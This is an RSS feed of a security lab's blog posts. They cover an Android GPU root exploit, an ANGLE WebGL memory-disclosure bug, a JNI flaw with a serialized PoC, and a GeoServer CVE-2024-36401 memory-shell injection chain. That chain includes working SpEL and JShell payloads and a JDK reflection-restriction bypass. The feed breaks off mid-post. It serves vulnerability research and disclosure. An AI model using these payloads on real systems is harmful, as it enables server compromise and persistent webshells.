<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Numen Cyber Labs on Medium]]></title>
        <description><![CDATA[Stories by Numen Cyber Labs on Medium]]></description>
        <link>https://medium.com/@numencyberlabs?source=rss-bb6501fe37e0------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*brwMARtssklP8j0_izQltw.jpeg</url>
            <title>Stories by Numen Cyber Labs on Medium</title>
            <link>https://medium.com/@numencyberlabs?source=rss-bb6501fe37e0------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 20 Jun 2026 06:46:52 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@numencyberlabs/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com" rel="hub"/>
        <item>
            <title><![CDATA[Exploring Android ROOT via CVE-2025–21479]]></title>
            <link>https://medium.com/@numencyberlabs/exploring-android-root-via-cve-2025-21479-eca9fb7ca6e9?source=rss-bb6501fe37e0------2</link>
            <guid isPermaLink="false">https://medium.com/p/eca9fb7ca6e9</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[android]]></category>
            <category><![CDATA[cve-2025-21479]]></category>
            <dc:creator><![CDATA[Numen Cyber Labs]]></dc:creator>
            <pubDate>Mon, 13 Apr 2026 03:43:45 GMT</pubDate>
            <atom:updated>2026-04-13T03:43:45.296Z</atom:updated>
            <content:encoded><![CDATA[<p>Google’s June 2025 security bulletin patched CVE-2025–21479, a vulnerability that was already being exploited in the wild. A few weeks later, a researcher called zhuowei posted a POC on GitHub with a solid writeup of the bug. In this post, we’ll take that POC and turn it into a working exploit. For a beginner in Android kernel exploitation, this vulnerability is a great exercise — it’s clean, stable, and easy to reason about.</p><p>Let’s quickly go over what the bug actually is. The GPU firmware designed a hierarchy of Instruction Buffers(IBs). The architecture was designed to be four levels deep. Last year, the fifth level was added. But the instruction that checks which level you’re currently at was never updated for the new design. It miscounts, thinks you’re at the top-level RB, and happily lets you run privileged commands. One such command is CP_SMMU_TABLE_UPDATE, which can change the TTBR0 register — the register the GPU uses for address translation. The POC takes advantage of this by crafting a three-level page table by hand, pointing TTBR0 at it, and gaining full control over how the GPU maps virtual addresses to physical addresses. That gives us arbitrary physical memory read/write capacity from the GPU side. Because this whole thing boils down to a simple logic check being wrong, it triggers reliably every time — not as difficult as heap spraying or race conditions, just a clean logical mistake. That’s exactly why we decided to dig deeper into it.</p><p>The POC gives us arbitrary physical-memory read/write capacity through the GPU. But it only reads 8 bytes of data at a time. Trying to dump the kernel at that rate is very slow. So we change the CP_MEM_TO_MEM instruction to CP_MEMCPY, which lets us specify transfer length — up to 0x1000 bytes. This is useful, but honestly, scanning through physical memory was still taking way too long. We needed a better plan.</p><p>Thinking about it, what we really want is to get off the GPU entirely. Reading and writing physical memory through the GPU is indirect and sluggish. If we could build an arbitrary physical read/write primitive on the CPU side instead, we could just run native code to poke at memory directly. To achieve this, we need to find the PTE for some virtual address we control, which means locating the physical address of the page table itself. We know the kernel’s own memory sits at the low end of physical address space, and runtime allocations start somewhere above that in a predictable range, so we can start scanning from there.</p><p>The first idea was simple: allocate a large amount of memory to create lots of PTEs and lots of page tables:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/507/1*m2EVqDFYGRgStuLbCPnmRQ.jpeg" /></figure><p>While testing this code, I found that each process can only allocate around 32000 memory blocks, if we exceed this limit the mmap call will return an error. But then I realized there’s a smarter way. What we actually need is more page tables, and page table creation is tied to virtual address layout. Since mmap’s first argument lets you pick a virtual address, we can request an address that forces the allocator to create memory with new page tables. Specifically, bits 22–30 of a virtual address determine where the second level page table is. By choosing the right address, a single mmap call gives us a fresh page-table with exactly one PTE sitting in its first 8 bytes. The code change is minimal:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PhNLnaRtpSOFzDgbFs4tEA.jpeg" /></figure><p>For the value of required_address, simply call mmap with NULL as the first argument to grab any page-aligned address:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KsQbYxnBY9gC_VAO9lOSYg.jpeg" /></figure><p>Then we write a magic marker value along with the virtual address into the allocated memory. This write operation causes the system to commit physical memory to save the data immediately. Thus, when we’re scanning physical memory and hit the marker, we can tell which virtual address it maps to. This plan gives us a nice contiguous layout: one page of PTE followed by two pages of data. This makes the page table much easier to spot during the scan. In practice, as long as you pick a reasonable starting address, this approach finds the page table reliably.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kmoodP0EmeQ8u8UESihq4Q.jpeg" /></figure><p>And just like that, we’ve graduated from GPU-based physical memory access to a proper CPU-side arbitrary read/write primitive. Now we can access memory directly, no GPU round-trips needed. The next hurdle on Android is always SELinux. Using our physical read/write, we remap the shared libraries that the init process loads, which lets us hijack init’s execution. We have analyzed the SELinux policy on the phone, so that we can directly get the SELinux offset in kernel space, and then it’s just a matter of flipping the right fields to turn SELinux off:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X6jZia5oD5fklteketkeQw.jpeg" /></figure><p>Then, we once again hijack the procedure of the init process to execute our reverse-shell shellcode. Once the shellcode is triggered, a new reverse shell session is established.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=eca9fb7ca6e9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CVE-2026–5283: Uninitialized GPU Memory Disclosure via Partial Clear in ANGLE (Chrome WebGL)]]></title>
            <link>https://medium.com/@numencyberlabs/cve-2026-5283-uninitialized-gpu-memory-disclosure-via-partial-clear-in-angle-chrome-webgl-3740ca481149?source=rss-bb6501fe37e0------2</link>
            <guid isPermaLink="false">https://medium.com/p/3740ca481149</guid>
            <category><![CDATA[chrome]]></category>
            <category><![CDATA[poc]]></category>
            <category><![CDATA[cve-2026-5283]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Numen Cyber Labs]]></dc:creator>
            <pubDate>Mon, 06 Apr 2026 05:52:28 GMT</pubDate>
            <atom:updated>2026-04-06T05:52:28.580Z</atom:updated>
            <content:encoded><![CDATA[<h3>Summary</h3><p>A vulnerability in ANGLE’s Framebuffer::partialClearNeedsInit() allows reading uninitialized GPU memory from GL_TEXTURE_2D_ARRAY textures. When glClear targets a single layer of an arrayed texture, ANGLE fails to zero-initialize the remaining layers but marks the entire texture as initialized, exposing stale GPU memory contents to web content via glReadPixels or shader sampling.</p><h3>Affected Component</h3><ul><li><strong>File</strong>: src/libANGLE/Framebuffer.cpp</li><li><strong>Function</strong>: Framebuffer::partialClearNeedsInit()</li><li><strong>Patch</strong>: <a href="https://chromium-review.googlesource.com/c/angle/angle/+/7703897">CL 7703897</a></li></ul><h3>Root Cause</h3><h3>Vulnerable Code (Before Patch)</h3><pre>bool Framebuffer::partialClearNeedsInit(const Context *context,<br>                                        bool color,<br>                                        bool depth,<br>                                        bool stencil)<br>{<br>    if (!context-&gt;isRobustResourceInitEnabled() || mState.mResourceNeedsInit.none())<br>        return false;<br><br>    const auto &amp;glState = context-&gt;getState();<br><br>    // Check 1: Scissor test partially overlaps the framebuffer<br>    if (glState.isScissorTestEnabled()) {<br>        // ... returns true if scissor doesn&#39;t cover full FB<br>    }<br><br>    // Check 2: Color channels masked<br>    if (color &amp;&amp; glState.anyActiveDrawBufferChannelMasked())<br>        return true;<br><br>    // Check 3: Stencil values masked<br>    if (stencil &amp;&amp; /* stencil mask check */)<br>        return true;<br><br>    // MISSING: No check for layered attachments (GL_TEXTURE_2D_ARRAY, etc.)<br><br>    return false;<br>}</pre><p>The calling code in Framebuffer::clear():</p><pre>if (partialClearNeedsInit(context, color, depth, stencil))<br>{<br>    ANGLE_TRY(ensureDrawAttachmentsInitialized(context));<br>}<br><br>// glClear only affects the currently bound layer,<br>// then marks the ENTIRE texture as &quot;initialized&quot;</pre><h3>The Bug</h3><p>When a framebuffer attachment targets a single layer of a GL_TEXTURE_2D_ARRAY (bound via glFramebufferTextureLayer), glClear only writes to that specific layer. However, partialClearNeedsInit() does not account for layered attachments — it returns false, causing ensureDrawAttachmentsInitialized() to be skipped. After the clear completes, ANGLE marks the entire texture (all layers, all mips) as initialized, even though only one layer was actually written.</p><p>This leaves the remaining layers containing uninitialized GPU memory that can be read back via glReadPixels or sampled in a shader, bypassing the robust resource initialization security guarantee.</p><p>The <a href="https://chromium-review.googlesource.com/c/angle/angle/+/7703897">patch</a> adds layer detection logic to partialClearNeedsInit():</p><pre>bool Framebuffer::partialClearNeedsInit(const Context *context,<br>                                        DrawBufferMask color,  // Changed: bool -&gt; DrawBufferMask<br>                                        bool depth,<br>                                        bool stencil)<br>{<br>    // ... existing checks (scissor, color mask, stencil mask) ...<br><br>    // NEW: For layered attachments, treat this as a partial clear.<br>    // Otherwise the framebuffer clears some layers but marks the<br>    // entire mip level as initialized.<br>    if (depth &amp;&amp; mState.mDepthAttachment.hasLayer())<br>        return true;<br><br>    if (stencil &amp;&amp; mState.mStencilAttachment.hasLayer())<br>        return true;<br><br>    for (size_t colorIndex : color)<br>    {<br>        if (mState.mColorAttachments[colorIndex].hasLayer())<br>            return true;<br>    }<br><br>    return false;<br>}</pre><p>The new hasLayer() method:</p><pre>bool FramebufferAttachment::hasLayer() const<br>{<br>    return mTarget.textureIndex().hasLayer();<br>}</pre><p>hasLayer() returns true when the attachment was created via glFramebufferTextureLayer() targeting a specific layer of a 2D array, 3D, or cube map texture. With this check in place, the clear is correctly identified as partial, and ensureDrawAttachmentsInitialized() is invoked to zero-initialize all layers before the clear proceeds.</p><p>The patch also changes the color parameter from bool to DrawBufferMask for more precise per-attachment tracking, and applies the same layer checks to partialBufferClearNeedsInit() (used by glClearBuffer*).</p><h3>Reproduction</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/718/1*2MOvHYHUBOliSWi157X6dw.jpeg" /></figure><h3>PoC</h3><p><a href="https://github.com/numencyber/Vulnerability_PoC/blob/main/CVE-2026-5283/poc.html">Vulnerability_PoC/CVE-2026-5283/poc.html at main · numencyber/Vulnerability_PoC</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3740ca481149" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[JNI NewObject Abstract Class Instantiation Vulnerability]]></title>
            <link>https://medium.com/@numencyberlabs/analysis-report-jni-newobject-abstract-class-instantiation-vulnerability-d79ad7552311?source=rss-bb6501fe37e0------2</link>
            <guid isPermaLink="false">https://medium.com/p/d79ad7552311</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[jni]]></category>
            <category><![CDATA[android]]></category>
            <dc:creator><![CDATA[Numen Cyber Labs]]></dc:creator>
            <pubDate>Thu, 04 Sep 2025 09:25:48 GMT</pubDate>
            <atom:updated>2025-09-04T09:33:07.764Z</atom:updated>
            <content:encoded><![CDATA[<h3>Vulnerability Description</h3><p>A security vulnerability exists in the Java Native Interface (JNI) implementation of Android Runtime (ART), specifically in the NewObject, NewObjectV, NewObjectA, and AllocObject functions. These functions failed to properly validate whether the incoming jclass parameter points to an instantiable class (non-abstract and non-interface). When attempting to use these JNI functions to instantiate abstract classes or interfaces, the runtime should have thrown an InstantiationException. However, due to missing checks, erroneous object instances were successfully created, potentially leading to undefined behavior, program logic errors, runtime crashes, and even privilege escalation.</p><h3>Root Cause</h3><ol><li><strong>Missing Check in Core JNI Layer</strong>: In the implementations of AllocObject, NewObjectV, and NewObjectA functions within the runtime/jni/jni_internal.cc file, the code proceeded directly with object allocation and method invocation, lacking the crucial validation of mirror::Class-&gt;IsInstantiable().</li><li><strong>Incomplete CheckJNI Validation</strong>: The CheckInstantiableNonArray function provided by the CheckJNI mode, while containing relevant checks, was only applicable in debug mode and was not integrated into the core non-checked JNI path. This left the vulnerability present in release versions.</li></ol><h3>Fix Solution</h3><pre>Added instantiation checks within the three key functions:<br>if (UNLIKELY(!c-&gt;IsInstantiable())) {<br> soa.Self()-&gt;ThrowNewExceptionF(<br> &quot;Ljava/lang/InstantiationException;&quot;, &quot;Can&#39;t instantiate %s %s&quot;,<br> c-&gt;IsInterface() ? &quot;interface&quot; : &quot;abstract class&quot;,<br> c-&gt;PrettyDescriptor().c_str());<br> return nullptr;<br>}</pre><h3>poc</h3><p>hex serializedData</p><pre>ACED0005737200266A6176612E7574696C2E636F6E63757272656E742E436F6E63757272656E74486173684D61706499DE129D87293D0300007870737200146A6176612E746578742E44617465466F726D6174642CA1E4C22615FC0200007870737200146A6176612E746578742E44617465466F726D6174642CA1E4C22615FC020000787070707878000000</pre><pre>00000000: aced 0005 7372 0026 6a61 7661 2e75 7469  ....sr.&amp;java.uti<br>00000010: 6c2e 636f 6e63 7572 7265 6e74 2e43 6f6e  l.concurrent.Con<br>00000020: 6375 7272 656e 7448 6173 684d 6170 6499  currentHashMapd.<br>00000030: de12 9d87 293d 0300 0078 7073 7200 146a  ....)=...xpsr..j<br>00000040: 6176 612e 7465 7874 2e44 6174 6546 6f72  ava.text.DateFor<br>00000050: 6d61 7464 2ca1 e4c2 2615 fc02 0000 7870  matd,...&amp;.....xp<br>00000060: 7372 0014 6a61 7661 2e74 6578 742e 4461  sr..java.text.Da<br>00000070: 7465 466f 726d 6174 642c a1e4 c226 15fc  teFormatd,...&amp;..<br>00000080: 0200 0078 7070 7078 7800 0000            ...xpppxx...</pre><h3>Reproduction</h3><p>Android Kernel Version: 16<br>The target application process crashes upon exploitation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YnBGziwsjO2k5iihD2PzwA.png" /></figure><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FzvYYEt6ljWc%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DzvYYEt6ljWc&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FzvYYEt6ljWc%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="640" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/931fc19c093a27742754d334ad41e6de/href">https://medium.com/media/931fc19c093a27742754d334ad41e6de/href</a></iframe><h3>Ref</h3><p><a href="https://android.googlesource.com/platform/art/+/444fc40dfb04d2ec5f74c443ed3a4dd45d3131f2">https://android.googlesource.com/platform/art/+/444fc40dfb04d2ec5f74c443ed3a4dd45d3131f2</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d79ad7552311" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CVE-2024–36401 Memory Shell Exploit for JDK 11–22]]></title>
            <link>https://medium.com/@numencyberlabs/cve-2024-36401-memory-shell-exploit-for-jdk-11-22-1a40162494c9?source=rss-bb6501fe37e0------2</link>
            <guid isPermaLink="false">https://medium.com/p/1a40162494c9</guid>
            <category><![CDATA[jdk22]]></category>
            <category><![CDATA[research]]></category>
            <category><![CDATA[numencyber]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Numen Cyber Labs]]></dc:creator>
            <pubDate>Thu, 25 Jul 2024 07:31:56 GMT</pubDate>
            <atom:updated>2024-07-25T07:31:56.833Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>Upon reading Master yzddMr6’s article on “<a href="https://mp.weixin.qq.com/s/beRJ8-HOMJbA43jYMMS0Pg">GeoServer Property RCE Injection with Memory Shells</a>” my first reaction was that starting from JDK 15, the JS engine parsing package is no longer included by default. This means that it’s not possible to write memory shells using that approach in JDK 15 and later. This article will detail my attempts to exploit this vulnerability using other memory shell methods, ultimately leading to the successful injection of a memory shell through SpEL expression injection, and I was able to upgrade the JDK version used to JDK 22.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/370/1*hsuHdLEA67TkLx1QSqDvGw.jpeg" /></figure><h3>Attempt with BCEL</h3><p>During the analysis, I discovered that the lib contains a BCEL ClassLoader.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/1*kw1toebwAjnk_Q1iHYg3Pw.png" /></figure><p>However, while debugging BCEL expression injection, I found that simple command execution BCEL expressions could not be executed. After further investigation, it became clear that the createClass method would always throw an error during the execution of BCEL expressions, preventing the return of the clazz and thus making it impossible to load any class. Initially, I thought that a straightforward BCEL expression injection could facilitate memory shell injection here, but it turned out to be unfeasible.</p><h3>Attempt with JShell</h3><p>Starting from Java 9, a feature called JShell was introduced. JShell is a REPL (Read-Eval-Print Loop) command-line tool that provides an interactive command-line interface, allowing us to execute Java code snippets without needing to write a class.</p><p><strong>PoC for JShell Injection</strong></p><pre>eval(build(jdk.jshell.JShell.builder()), &#39;YOUR-JAVA-CODE&#39;)</pre><p>Since the affected versions of GeoServer run on JDK 11–17, I planned to bypass the reflection restrictions that began in JDK 16.</p><pre>eval(build(jdk.jshell.JShell.builder()),&#39; import sun.misc.Unsafe; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.Base64; public class UnsafeTest { public static void test() { try { String payload = &quot;Base64-PAYLOAD&quot;; Class&amp;lt;?&amp;gt; unSafe=Class.forName(&quot;sun.misc.Unsafe&quot;); Field unSafeField=unSafe.getDeclaredField(&quot;theUnsafe&quot;); unSafeField.setAccessible(true); Unsafe unSafeClass= (Unsafe) unSafeField.get(null); Module baseModule=Object.class.getModule(); Class&amp;lt;?&amp;gt; currentClass= UnsafeTest.class; long addr=unSafeClass.objectFieldOffset(Class.class.getDeclaredField(&quot;module&quot;)); unSafeClass.getAndSetObject(currentClass,addr,baseModule); Class&amp;lt;?&amp;gt; byteArrayClass = Class.forName(&quot;[B&quot;); Method defineClass = ClassLoader.class.getDeclaredMethod(&quot;defineClass&quot;, String.class, byteArrayClass, int.class, int.class); defineClass.setAccessible(true); Class&amp;lt;?&amp;gt; calc= (Class&amp;lt;?&amp;gt;) defineClass.invoke(ClassLoader.getSystemClassLoader(), &quot;attack&quot;, Base64.getDecoder().decode(payload), 0, Base64.getDecoder().decode(payload).length); calc.newInstance(); }catch (Exception e){} } } UnsafeTest.test();&#39;)</pre><p>However, during subsequent testing, I discovered that JShell cannot execute methods or static blocks within classes in this vulnerability context, leading me to abandon this approach for memory shell injection.</p><h3>SpEL Injection Memory Shell</h3><h3>JDK11–15</h3><p>The PoC for SpEL is easy to construct, but it’s important to note that the payload does not contain # and {}.</p><pre>toString(getValue(parseRaw(org.springframework.expression.spel.standard.SpelExpressionParser.new(),&quot;YOUR-SPEL-CODE&quot;)))</pre><p>Initially, I assumed that I could directly use JMG to generate a memory shell injection payload in SpEL format, but I encountered an exception:</p><pre>org.springframework.expression.spel.SpelEvaluationException: EL1079E: SpEL expression is too long, exceeding the threshold of &#39;10,000&#39; characters</pre><p>The exception was thrown because the SpEL payload string exceeded 10,000 characters: <a href="https://github.com/spring-projects/spring-framework/issues/30380">Issue #30380 · Make maximum SpEL expression length configurable)</a>. This value can be modified through reflection, but it requires sending two requests.</p><p><strong>org.springframework.expression.spel.ast.OperatorMatches#checkRegexLength</strong></p><pre>private void checkRegexLength(String regex) {<br>        if (regex.length() &gt; 1000) {<br>            throw new SpelEvaluationException(this.getStartPosition(), SpelMessage.MAX_REGEX_LENGTH_EXCEEDED, new Object[]{1000});<br>        }<br>    }</pre><p>By observing the payload of JMG, we can see that the malicious bytecode is directly encoded using Base64. It is well known that after a class file is Base64 encoded, the size of the malicious bytecode string increases. At this point, we can consider compressing the class file with gzip first and then applying Base64 encoding. This can significantly reduce the length of the SpEL expression.</p><p><strong>gzip + Base64 Encoded PoC</strong></p><pre>toString(getValue(parseRaw(org.springframework.expression.spel.standard.SpelExpressionParser.new(),&quot;T(org.springframework.cglib.core.ReflectUtils).defineClass(&#39;Calc&#39;,T(org.apache.commons.io.IOUtils).toByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(org.springframework.util.Base64Utils).decodeFromString(&#39;gzip + Base64&#39;)))),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()&quot;)))</pre><p>This method can directly complete the injection of the memory shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pcMIooAVHM5hKG4e3EwWPQ.png" /></figure><h3>Reflection Restrictions Bypass for JDK 16+</h3><p>Up to this point, the article hasn’t managed to bypass the reflection restrictions for higher versions. I discovered that JMG’s default reflection operations use methods from ReflectUtils, which trigger reflection restrictions right at the start of code execution. Despite numerous nested attempts, I couldn&#39;t bypass these restrictions. <strong>The SpEL method discussed above is only applicable up to JDK 15; for JDK 16 and above, we need to find a way to bypass the reflection restrictions.</strong> After multiple injection attempts, I repeatedly encountered the error module java.base does not &quot;opens java.lang&quot; to unnamed module, and this persisted even when I added the bypass code to the injector or the memory shell.</p><p><strong>After extensive debugging, I found that the issue stemmed from the reflection operations in </strong><strong>ReflectUtils. This means that if we can bypass the </strong><strong>setAccessible(true) restriction, we can exploit this vulnerability to bypass the reflection restrictions in JDK 16+ and successfully inject memory shells in higher versions.</strong></p><p><strong>org.springframework.cglib.core.ReflectUtils#defineClass(java.lang.String,byte[],java.lang.ClassLoader, java.security.ProtectionDomain, java.lang.Class&lt;?&gt;)</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RHU-eTT7Qs-1ZJmaDxAofw.png" /></figure><p>However, initially, I did not realize that the issue might be here. During the early attempts, I assumed that errors like module java.base does not &quot;opens java.lang&quot; to unnamed module occurred during the loading process of the JMG Jetty memory shell (②), not during the initial class loader injector process (①).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X-xISIp0OQMjyxMglJxuhg.png" /></figure><p>Here is the Payload:</p><pre>T(org.springframework.cglib.core.ReflectUtils).defineClass(&#39;org.springframework.expression.Test&#39;,T(java.util.Base64).getDecoder().decode(&#39;YOUR-BASE64&#39;),T(java.lang.Thread).currentThread().getContextClassLoader(), null, T(java.lang.Class).forName(&quot;org.springframework.expression.ExpressionParser&quot;))</pre><p>The difference between this and my initial Payload design lies in the use of a different underlying defineClass method:</p><pre>// Payload Before Modification<br>public static Class defineClass(String className, byte[] b, ClassLoader loader)<br>​<br>// Payload to Bypass Reflection Restrictions in JDK 16+<br>public static Class defineClass(String className, byte[] b, final ClassLoader loader, ProtectionDomain protectionDomain, final Class&lt;?&gt; contextClass)</pre><ul><li>A different classloader is used.</li><li>A contextClass is specified.</li><li>The malicious class needs to be in the org.springframework.expression package.</li></ul><p>With these modifications, the code enters a branch that does not invoke setAccessible(true), thereby avoiding reflection restrictions and enabling the injection of memory shells in higher versions (①).</p><p>Here’s What We Need to Do:</p><ol><li>Modify the SpEL payload.</li><li>Change the package name of the JMG memory shell injector to org.springframework.expression.</li></ol><p>By this point, we have solved issue ①. Issue ② can be easily resolved by following step three.</p><p>3. Add reflection bypass code to the malicious bytecode (memory shell):</p><pre>Class unsafeClass = Class.forName(&quot;sun.misc.Unsafe&quot;);<br>Field unsafeField = unsafeClass.getDeclaredField(&quot;theUnsafe&quot;);<br>unsafeField.setAccessible(true);<br>Unsafe unsafe = (Unsafe) unsafeField.get(null);<br>Module module = Object.class.getModule();<br>Class cls = HelpUtils.class;<br>long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField(&quot;module&quot;));<br>unsafe.getAndSetObject(cls, offset, module);<br>Method defineClass = ClassLoader.class.getDeclaredMethod(&quot;defineClass&quot;, byte[].class, Integer.TYPE, Integer.TYPE);<br>defineClass.setAccessible(true);</pre><blockquote><strong>Potential Issues:</strong></blockquote><blockquote>The above three steps are simple, but when regenerating the Base64 of the malicious class, you might encounter another issue. Even with gzip compression, the final Base64 string might still exceed the 10,000-character limit. Here is a small trick for manually compiling malicious bytecode to significantly reduce bytecode bloat (without generating debug information and showing warnings for unchecked operations and deprecated code during compilation).</blockquote><pre>javac -g:none .\YOUR-Evil.java -Xlint:unchecked  -Xlint:deprecation</pre><p>4. Manually compile the malicious bytecode, gzip the bytecode, convert it to Base64, and insert the string into the payload.</p><p>5. Send the payload to inject the memory shell in one go.</p><h3>Extensions</h3><p>Dnslog detection</p><pre>&lt;wfs:GetPropertyValue service=&#39;WFS&#39; version=&#39;2.0.0&#39;<br> xmlns:topp=&#39;http://www.openplans.org/topp&#39;<br> xmlns:fes=&#39;http://www.opengis.net/fes/2.0&#39;<br> xmlns:wfs=&#39;http://www.opengis.net/wfs/2.0&#39;&gt;<br>  &lt;wfs:Query typeNames=&#39;sf:archsites&#39;/&gt;<br>  &lt;wfs:valueReference&gt;java.net.InetAddress.getAllByName(&quot;&quot;)<br>&lt;/wfs:valueReference&gt;<br>&lt;/wfs:GetPropertyValue&gt;</pre><p>Delay detection</p><pre>&lt;wfs:GetPropertyValue service=&#39;WFS&#39; version=&#39;2.0.0&#39;<br> xmlns:topp=&#39;http://www.openplans.org/topp&#39;<br> xmlns:fes=&#39;http://www.opengis.net/fes/2.0&#39;<br> xmlns:wfs=&#39;http://www.opengis.net/wfs/2.0&#39;&gt;<br>  &lt;wfs:Query typeNames=&#39;sf:archsites&#39;/&gt;<br>  &lt;wfs:valueReference&gt;java.lang.Thread.sleep(10000)<br>&lt;/wfs:valueReference&gt;<br>&lt;/wfs:GetPropertyValue&gt;</pre><h3>Summary</h3><p>This article demonstrates a memory shell injection attack using SpEL expressions, addressing two points of reflection restrictions in higher versions of JDK. By utilizing a trick for manually compiling bytecode and gzip compressing the bytecode, we were able to compress the final Base64 string. This approach has been tested and successfully bypasses reflection restrictions across all versions of JDK from 11 to 22.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1a40162494c9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Forgotten Treasure In Classic Targets]]></title>
            <link>https://medium.com/@numencyberlabs/the-forgotten-treasure-in-classic-targets-94b0a71a5ec7?source=rss-bb6501fe37e0------2</link>
            <guid isPermaLink="false">https://medium.com/p/94b0a71a5ec7</guid>
            <category><![CDATA[numencyber]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[linux-kernel]]></category>
            <category><![CDATA[off-by-one]]></category>
            <dc:creator><![CDATA[Numen Cyber Labs]]></dc:creator>
            <pubDate>Tue, 02 Jul 2024 04:18:16 GMT</pubDate>
            <atom:updated>2024-07-02T04:20:40.332Z</atom:updated>
            <content:encoded><![CDATA[<h3>0x00 background</h3><p>On June 26, 2024, the OFF-BY-ONE conference was held in Singapore, and we had the privilege of presenting a talk titled “The Forgotten Treasure In Classic Targets”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O2gDSEXH8ZQo-Ir5TqFX-A.jpeg" /></figure><p>Overall, this presentation mainly discussed our attempts to fuzz some traditional targets. Due to extensive fuzzing on these targets, we were unable to discover new exploitable vulnerabilities effectively. Therefore, we changed our approach, re-read and analyzed the source code, searched for new attack surfaces, and attempted to uncover vulnerabilities through manual code auditing. Finally, we reflected on the differences between our fuzzing strategies and direct code auditing, then improved our fuzzing tools, leading to the discovery of many new vulnerabilities.</p><p>This presentation is divided into three main parts: The Forgotten Treasure, Review The Target, and Enhance Fuzzers.</p><h3>0x01 The Forgotten Treasure</h3><p>We all know that in web3 projects, the appearance of a vulnerability often leads to significant economic losses. Therefore, web3 projects often require identifying all possible vulnerabilities in the project. However, traditional web2 projects usually have a much larger scale compared to web3 projects, so the code that has been audited or fuzzed multiple times is often overlooked or assumed to be safe.</p><p>So, in this section, we mainly reviewed some interesting vulnerabilities.</p><ul><li>CVE-2020–15999</li></ul><p>The vulnerability in FreeType’s image parsing is used by multiple projects, such as Chrome and Android. When processing PNG images embedded in fonts, the 32-bit image width and height are truncated to 16 bits before being stored. The memory allocation operation is then performed using the 16-bit data, leading to a subsequent heap overflow.</p><ul><li>CVE-2023–4863、CVE-2023–41064</li></ul><p>The vulnerability in webp/libwebp is used by Android, Chrome, iOS/macOS, and others. There is an out-of-bounds write vulnerability in the Canonical Huffman Coding algorithm.</p><ul><li>CVE-2023–0461</li></ul><p>The vulnerability in the TCP_ULP module of the Linux kernel. TCP_ULP does not check whether the protocol implements certain virtual functions, leading to a double free vulnerability when using a specific protocol to perform multiple three-way handshakes.</p><h3>0x02 Review The Target</h3><p>This section describes our process of failing fuzz testing and then conducting code review. It consists of two parts: the first part is related to the Linux kernel, and the second part is related to Android. In this section, we will only discuss the Linux-related content.</p><p>In the Linux kernel part, if we want to perform Linux kernel fuzzing, we first need to determine the attack surface. We first introduced the common attack surfaces of the Linux kernel in recent years, which are eBPF, io_uring, and netfilter. eBPF is not accessible to regular users due to Ubuntu’s permission settings, so this attack surface is not usable. Although io_uring and netfilter are both excellent attack surfaces with accessible code for regular users and sufficiently complex and varied, we did not choose them due to the excessive attention they receive. After multiple comparisons, our final choice was the network packet scheduler. This module’s code can be accessed by regular users and is sufficiently complex, but most importantly, it does not receive much attention. However, it also has clear drawbacks, such as poor generality during fuzzing and the need to create a new namespace.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i9Z9nLzHbX-dA09E-g0DBA.png" /></figure><p>Next, we introduced the basic architecture of the network packet scheduler. As shown in the diagram above, once we understood the basic architecture, we could easily use fuzzing tools like <a href="https://github.com/google/syzkaller">syzkaller</a> to perform fuzzing. However, we did not find any effective results through fuzzing, so we turned to direct code auditing.</p><p>During the code audit, we discovered the vulnerability CVE-2023–35788.</p><figure><img alt="" 